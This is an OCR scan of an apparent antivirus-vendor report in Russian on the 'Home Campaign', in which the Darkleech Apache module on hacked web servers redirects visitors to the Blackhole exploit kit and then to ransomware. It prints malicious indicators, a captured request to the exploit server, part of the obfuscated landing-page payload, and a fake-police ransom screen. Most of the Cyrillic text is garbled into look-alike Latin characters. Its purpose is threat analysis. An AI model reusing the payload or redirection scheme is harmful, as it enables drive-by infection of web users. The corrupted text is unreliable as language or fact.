BE3OMACHOCTb. HUYETO NMNLIHENO

The Home Campaign

B aTOM rogy mbl HEOAHOKPATHO MMCAaAM O BPEAOHOCHbIX Apache-mMogynsax M KOMMApPOMETauuu UMK
NEernTUMHbIX Beb-cepBepoB, YTO NPMBOAMAO K MepeHanpas/eHUIo No/ib3oBaTesiell Ha BPeAOHOCHbIe
CalTbl. BblIO YCTAaHOB/IEHO, YTO PA3/INYHbIE Cly4an KOMNPOMETaUMN 3TUX BEO-CEPBEPOB MMEIOT CXOXKMe
CBOWMCTBA M OTHOCATCA K OOHOW KamMnaHWM MO pacnpocTpaHeHuto BpedoHocHoro MO, mMbl Ha3Baiu ee
«Home Campaign». Mpuseaem HekoTopble GpakTbl 06 3TON KamnaHUK:

e KamnaHua npogosmkaeTca yxe c ¢espana 2011 r.
e CKOMNpPOMETMpPOBaHHble BeG-cepBepbl HAXOAMAUCH Nog, ynpasaeHuem cPanel n Plesk.
e B KamnaHuu yyasctBoBano 6onee 40 TbiC. AOMEHOB.

KamnaHus

B uesom 3apakeHue nonb3osaTtensa B Home Campaign Mo*KHO onucaTtb CneaytoLeli CXxemon.

1. User visits an infected website 2. Darkleech injects an iframe in a page 3. Darkleech fetches Blackhole exploit kit 4. Malware is installed on the computer
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217.23.13.65 linuxkernelup.com

PasymeeTca nepBbiM 3Tanom ABAAETCA KOMMNpOMeTaLuA camoro Beb-cepBepa, B pesy/sibTaTe 4ero, Ha
Hero 6yaeT ycTaHoBAeH BpeAoHOCHbIM moaynb Apache (Darkleech). KomnoHneHT Darkleech npopaetca
Ha noAanosbHbIX GOpPymax KUOEprnpecTynmHUKOB M onpegensercs Hamu Kak Linux/Chapro. Korga
nosb3oBaTenb ob6palwaeTca K Beb-caliTy 3apa*keHHOro cepsepa, BPELOHOCHbIM Koa paobasnset
cneumanbHbiit IFRAME K Koy 3anpaliMBaemol CTpaHULbl, Yepe3 KOTOPbIi 3arpyaeTca BpeaoHOCHoe
cogeprumoe. Mpun aTOM ncnonb3yetca URL ¢dopmarta
hxxp://129.121.xx.xxx/9bd5113b9edfc221e46f6983ab334927/q.php. Hawm paHHble TenemeTpuu
MOKa3bIBatOT, YTO MO 3TOM CCbI/IKE NPOUCXOANAN NepeHanpaBaeHma ¢ 270 Beb-cTpaHuL,

Yepes BpeaoHocHbIM IFRAME nonb3oBaTenb MepeHanpaBAsfeTca Ha CTpaHuuy Habopa 3KchaonToB
Blackhole, KoTopbIli MbiTaeTcs 3KCNAyaTMPOBaTb YA3BMMOCTU B Opay3epe WaM B ero YCTaHOBAEHHbIX
naarMHax. B cayyae ycnewHoro NPUMeEHEHWs OAHOrO M3 3KCMJIOMTOB HAa KOMMbIOTEP MOJ/Ib30BaTesA
yCTaHaBAMBAETCA BPpeAoHOCHbIM Kog, BKAto4Yaa Pony Loader (Fareit), Nymaim u Sirefef.

Mocne 3apaykeHus, BOMBLWIMHCTBO NOJIb30BATENEN OKa3blBAlOTCA C 3ab/NOKMPOBAHHBLIMM ransomware
(Nymaim) komnbtoTepamu, ¢ TpebosaHnem 3annatutb $300 ana pa3baoKMPOBKM. Tema B coobLieHNM
U3MEHAETCA B 3aBMCMMOCTM OT PErMOHa PacrosIoKeHUA KOMMbHOTEPA XKepTBbl. Ha puCyHKe HUXKe
npeacTaBAeHo coobLieHne a8 KOMMNbIOTEPOB, PAcnooXKeHHbIx B CLLA.


http://habrahabr.ru/company/eset/blog/169297/
http://www.virusradar.com/en/Win32_TrojanDownloader.Nymaim/detail
http://www.welivesecurity.com/tag/sirefef/
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This PC is blocked due to at least one of the reasons specified below.

You have been subjected to violation of Copyright and Related Rights Law (Video, Music, Software)

' < . distributing copyrighted contents |, thus infringing Article 1, Section 8, Clause 8, also known as the Cof
panic{cpu O P the United States of America
CRO: Ox80018. - g Article 1, Section 8, Cause 8 ofthe Criminal Code provides for a fine of two to five hundred minimal wa
EAX: Ox0472 for two to eight years
CR2: OxD472 ¢
EFL: 0xD001
Error code:

Debugger ca

Backtrace ( i You have been viewing or distributing prohibited Pornographic contents: (Child Porno photos were 1

OxZef 7he18 Files). Thus violating article 202 of the Criminal Codes of the United States of America, Article 202 of the

Ox2ef 7hchbB . deprivation of libery for four to twelve years

Ox2ef 7Thd40 : llegal access has been initiated from your PC without your knowledge or consent, your PC may be

Ox2ef 7hd60 you are violating the law on Meglectful Use of Personal Computer. Article 210 of the Criminal Codes pro

$100,000 and/ar deprivation of liberty for four to nine years.

Ox2ef7held User Name: Pursuant to the amendment to Criminal Code of the United States of America of May 28, 2011, this law

Ox2ef7he?B as conditional in case you pay the fine of the States.

Ox2ef 7hf28

Ox2ef7Thf78 Location To unlock your computer and to avoid other legal consequences, you are obliged to pay a release {

Ox2ef 7hfcB
Kerne

cd

How do | unblock the computer using the MoneyPak?
1. Find a retail location near you
2. Look for a MoneyPak in the prepaid section. Take itto the cashier and load it with cash. A service fee
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3Ta KaMMaHUA NPOLONKAETCA YKe HA NPOTAXKEHUU AANTENbHOIO BpemeHU. COrNacHO HalMM AAHHbIM,
ucnonb3yemble cTpaHuubl Blackhole akTMBHbI Ha npoTa)KeHun Gosee AByx NeT. B Hayane KamnaHwuu
BpeaoHocHble URL wucnonb3osann wabnoH /Home/ npu dopmuposaHun URL, Hanpumep,
hxxp://64.247 .xxx.xxx/Home/index.php, noaTomy mbl Aanu HasBaHue «Home» Ans 3Ton KamnaHuu. B
OKTAbpe 2012 r., 3TOT WAabAOH 6bl1 M3MEHEH C UCMOAb30BaHMEM d.php M aobaBneHMEM HasBaHMWA
OVNPEKTOPUM, KOTOPOEe FeHepupoBanocb CayvyaiHbiM obpasom. Tekywasa KoHourypauma URL-agpeca
Darkleech-moayna, ycTraHaBnMBaemas Ha CKOMMNPOMETMPOBAHHbIe BEBO-cepBepbl UCMO/b3yeTcs WabAoH
/Home/index.php.
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C_MARKER_LEFT

C_MARKER RIGHT

Hawu paHHble TenemeTpuM MOKa3biBAlOT, YTO B KamnaHWM 6biNn0 UCNONb30BaHO OKoso 40 Thic.
pa3nunuHbix IP-agpecos 1 gomeHos ans Blackhole exploit kit. B mae 2013 r. 15 TbicaY Takux IP-agpecos u
AOMeHOB wucnosib3oBasnnck ana Blackhole ogHoBpemeHHO. Hu)Ke Ha CKPUHLLIOTE MOKas3aHa CeTb
129.121.0.0/16, B KOTOpPOW BO/IEE MATU ThICAY aAPECOB MCMO/b30BAINCh B 3TON KammnaHUM.

129.121.0.0/16
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Bo3HMKaeT BOMpoc, KakMum 0bpasom 3/10yMbllIEHHUKAM YAa/10Cb OCYLLECTBAATb KOHTPO/Ib HaZ TakMM
60/bWMM KonnyecTsom IP-agpecoB MU AOMeHOB. [leflo B TOM, YTO MHOTrMEe BE6-XOCTUHIU MUCMNO/b3YIOT
naHenun ynpasnexus Plesk n CPanel gna ynpaBneHus cBOMMU CETAMM, A TaKKe CalTamu, NpuYem peyb
WMAET O COTHAX MAW TbicAYax Beb-caiTax. CneumanmucTtamm Hawen aHTUBUPYCHOM nabopaTopumn 6bina
BblABNEHa Aapyraa moauéduKauma Darkleech, KoTopas wucnonb3oBanacb A/  YCTAHOBKM Ha
CKOMMNPOMETMPOBAHHbIE CepBepbl. IJTa BEPCUA COAEPKUT AOMONHWUTENbHbIA 06paboTunKk gnA
Hanpas/ieHuMA 3anpocos Ha Blackhole.

O6paboTymK NCNONb3YET APYFrOM anropuTm WKPPOBAHUSA, OTIMYHBIN OT TOFO, KOTOPbLIN MCNOJIb30BA/ICA B
nepsoHayasbHOoM BapuaHTe Darkleech. lMocne TOoro Kak OH MOAYYMT YynpaBAeHWE, NPOUCXOAUT
pacwndpoBKa YeTbipex CTPOK. OaA nocTynatowmx 3anpocoB, GYHKLMA PacCcyMTbIBAET X3W Ha OCHOBE
nona Host HTTP-3aronoBka. Mpu sTom, ecaim Takon xaw cogepkutca B ctpoke URL-3anpoca, 06paboTunk
NpPoAOo/IXKAeT MUCNONHEHWE CBOEro Koga, B MPOTMBHOM cC/lydae 3anpoc obpabaTbiBaeTcA Kak 0ObIYHO
yepes Apache.
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Kog obpabotunka Takxke nposepseT nose User-Agent B 3anpoce M OTK/IOHAET 3anpocbl, KOTOpble He
cogepat « MSIE» namn «Javan.

the request]

(] ' v v

Mocne TOro, Kak BPEAOHOCHbIA Kog MoguduumpoBan 3anpoc, OH bOyaeT nepeHanpaBieH Ha
linuxkernelup.com c wucnonb3oBaHMem mod_proxy. 3aronoBok X-HOSTNAME-MD5 pobaBnsetcs K
3anpocy, KOTOPbI COAEPKUT X3 MMEHM XOCTa.

C]

ilename], ¢
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Ha cneaytolem pucyHKe NoKasaHO KaK BbIrIAAMT OKOHYaTENbHbIA 3aMnpoc, KOTOPbIA OTNpaBAseTcsa Ha
cepsep Blackhole.

GET /links/q.php HTTP/1.1

Host: Tinuxkernelup.com

Accept: text/html, application/xhtml+xml, */*

referer: http:// a.info/news /457 /

AcCcept-Language: ja-1P

User-aAgent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOw64; Trident/5.0; BOIES;JAIP)

A st Locodipo. oodn daflata

X-HOSTNAME-MD5: 5007badcsf2fblel/

X-Forwarded-Host: e.net
¥-Forwarded-Server : _e.net
Connection: Keep-Alive

HTTP/1.1 200 OK

server: nginx/0.7.65

Date: sat, 08 Jun 2013 02:24:40 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

N N Blackhole landing page

a3

<body=<stylexb,div{position:absolute; top:-2000px; }</s5ty]e>- "a123"}</
ux=<bh>57,76,63,71,66,64,81,29,64,73,62,80,80,70,65,58,31,96,1% 12,102,97,55,50,53,50,47,67,50,66,
3,67,49,42,46,46,65,49,42,62,47,49,50,42,45,45,53,45,64,51,67,52,49,47,53,49,31,29,116,102,97,113,
6,31,29,101,98,102,100,101,113,58,31,46,31,59,57,77,62,79,62,74,29,107,94,106,98,58,31,94,109,109,
4,105,114,98,58,21,101,113,113,109,55,44 ,44,112,101,98,111,119,102,98,117,96,101,94,107,100,98,43,
44 ,50,54,45,52,95,94,97,96,51,99,47,99,95,46,98,46,44,50,54,45,52,95,94,97,96,51,99,47,99,95,46,98

Ham Bce ewe HeusBecTeH Cnocob, C MOMOLLbIO KOTOPOro 3/I0YMbIW/IEHHUKM MOAyYanu [OCTyn Ha
cepsepbl. BO3MOMXHO C Mcnonb3oBaHnem WHPopmaumn o6 akKayHTax, KoTopble 6bliM YKpadeHbl C
ncnosibzoBaHMem Fareit, KOTopbI NO3BOIAET KPacTb MHGOPMaLMIo 06 yyeTHbIx 3anuncsax FTP u HTTP.



